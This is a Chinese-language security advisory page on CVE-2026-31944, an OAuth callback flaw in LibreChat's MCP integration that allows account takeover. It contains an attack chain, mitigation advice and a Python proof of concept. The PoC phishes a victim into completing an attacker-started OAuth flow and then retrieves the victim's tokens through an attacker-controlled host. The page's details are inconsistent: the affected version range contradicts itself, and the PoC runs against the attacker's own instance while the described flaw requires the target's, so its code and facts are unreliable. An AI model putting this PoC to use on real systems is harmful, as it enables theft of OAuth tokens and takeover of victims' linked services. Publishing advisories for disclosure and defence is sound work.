IPBUF安全漏洞报告
English
CVE-2026-31944 CVSS 7.6 高危

CVE-2026-31944 LibreChat MCP OAuth回调账户接管漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-31944
漏洞类型
OAuth回调验证缺陷
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
LibreChat

相关标签

OAuth漏洞会话验证缺失账户接管LibreChatMCP协议身份认证绕过CVE-2026-31944

漏洞概述

LibreChat是一款开源的ChatGPT克隆应用,集成了多种AI模型和扩展功能。在0.8.2至0.8.2-rc3版本中,存在严重的OAuth回调验证缺陷。MCP(Model Context Protocol)OAuth回调端点在处理来自身份提供商的回调请求时,仅通过state参数验证请求的合法性,但未能验证当前浏览器会话是否已登录,以及已登录用户是否与OAuth流程的发起者一致。攻击者利用此漏洞,可诱导已登录LibreChat的受害者完成OAuth授权流程,从而将受害者的OAuth令牌(如Atlassian、Outlook等服务的访问凭证)绑定到攻击者的LibreChat账户上,最终实现对受害者关联服务的账户接管攻击。由于OAuth广泛应用于企业级应用集成,此漏洞对使用LibreChat的企业用户构成严重威胁。

技术细节

LibreChat的MCP OAuth实现存在会话绑定验证缺失问题。正常OAuth授权流程中:1)用户发起授权请求,系统生成包含state参数的授权URL;2)用户被重定向至身份提供商完成认证;3)身份提供商将用户重定向回LibreChat回调端点;4)系统使用state参数识别原始请求并完成令牌交换。漏洞点在于步骤4:LibreChat仅验证state参数的有效性,但未确认当前HTTP会话是否与state参数绑定的用户一致。攻击者可以:1)作为LibreChat注册用户,发起OAuth授权流程获取授权URL;2)将该授权URL通过钓鱼等方式诱导目标受害者点击;3)受害者完成身份提供商认证后被重定向回调;4)由于受害者已登录LibreChat,系统将OAuth令牌存储到受害者账户,但关联到攻击者的MCP配置;5)攻击者通过自己的LibreChat实例使用受害者的OAuth令牌访问Atlassian、Outlook等关联服务。修复方案需在回调处理中增加会话验证,确保回调请求来自原始发起用户。

攻击链分析

STEP 1
步骤1:侦察与准备
攻击者注册LibreChat账户并登录,访问MCP OAuth功能页面,选择目标服务(如Atlassian、Outlook)发起OAuth授权流程,获取授权URL和state参数
STEP 2
步骤2:社会工程攻击
攻击者通过钓鱼邮件、即时消息等方式,将OAuth授权URL发送给目标受害者,诱骗受害者点击完成授权流程
STEP 3
步骤3:受害者认证
受害者点击钓鱼链接后,被重定向至身份提供商页面。受害者使用自己的账号完成OAuth认证流程
STEP 4
步骤4:回调处理漏洞触发
身份提供商将受害者重定向回LibreChat回调端点。LibreChat使用state参数识别原始请求,但未验证当前会话用户是否与state绑定用户一致,导致受害者的OAuth令牌被错误存储
STEP 5
步骤5:令牌窃取
攻击者通过自己的LibreChat账户访问MCP配置,发现受害者的OAuth令牌已被绑定到自己的MCP配置中
STEP 6
步骤6:账户接管
攻击者使用窃取的OAuth令牌,通过API访问受害者的关联服务(如Atlassian、Outlook),实现对受害者账户的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-31944 LibreChat OAuth Account Takeover PoC # Attack Scenario: Attacker steals victim's OAuth tokens via MCP callback import requests import secrets TARGET_LIBRECHAT = "http://target-librechat:3080" ATTACKER_LIBRECHAT = "http://attacker-librechat:3080" def get_authorization_url(provider="atlassian"): """Attacker initiates OAuth flow and gets authorization URL""" # Attacker logs in to their LibreChat account attacker_session = requests.Session() # attacker_session.post(f"{ATTACKER_LIBRECHAT}/api/auth/login", json={...}) # Initiate MCP OAuth flow response = attacker_session.post( f"{ATTACKER_LIBRECHAT}/api/mcp/oauth/initiate", json={"provider": provider} ) data = response.json() authorization_url = data.get("authorizationUrl") state = data.get("state") print(f"[+] Authorization URL: {authorization_url}") print(f"[+] State parameter: {state}") return authorization_url, state def send_phishing_link(authorization_url, victim_email): """Send authorization URL to victim via email/social engineering""" phishing_content = f""" Please complete your OAuth authorization: {authorization_url} Click the link above to verify your account. """ # Send phishing email to victim print(f"[+] Phishing link sent to victim: {victim_email}") return True def main(): # Step 1: Attacker initiates OAuth flow auth_url, state = get_authorization_url("atlassian") # Step 2: Send phishing link to victim send_phishing_link(auth_url, "[email protected]") # Step 3: Victim completes OAuth flow (victim must be logged into LibreChat) # When victim clicks the link and authenticates with Atlassian, # the OAuth tokens are stored BUT linked to attacker's MCP config # Step 4: Attacker now has access to victim's OAuth tokens attacker_session = requests.Session() # attacker_session.post(f"{ATTACKER_LIBRECHAT}/api/auth/login", json={...}) # Access victim's tokens via attacker's account response = attacker_session.get( f"{ATTACKER_LIBRECHAT}/api/mcp/tokens", params={"provider": "atlassian", "state": state} ) victim_tokens = response.json() print(f"[+] Victim's OAuth tokens obtained: {victim_tokens}") # Step 5: Use victim's tokens to access Atlassian/Outlook # attacker_session.headers["Authorization"] = f"Bearer {victim_tokens['access_token']}" # response = attacker_session.get("https://api.atlassian.com/oauth/token/accessible-resources") print("[+] Account takeover complete!") if __name__ == "__main__": main()

影响范围

LibreChat >= 0.8.2
LibreChat <= 0.8.2-rc3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用MCP OAuth功能;2)监控异常OAuth授权请求;3)限制用户使用第三方OAuth服务集成;4)启用LibreChat的双因素认证;5)限制OAuth回调URL的来源域;6)定期审计MCP配置和OAuth令牌存储情况。对于已受影响的用户,建议立即撤销所有MCP关联服务的OAuth授权,重新生成授权,并检查关联服务是否存在异常访问记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表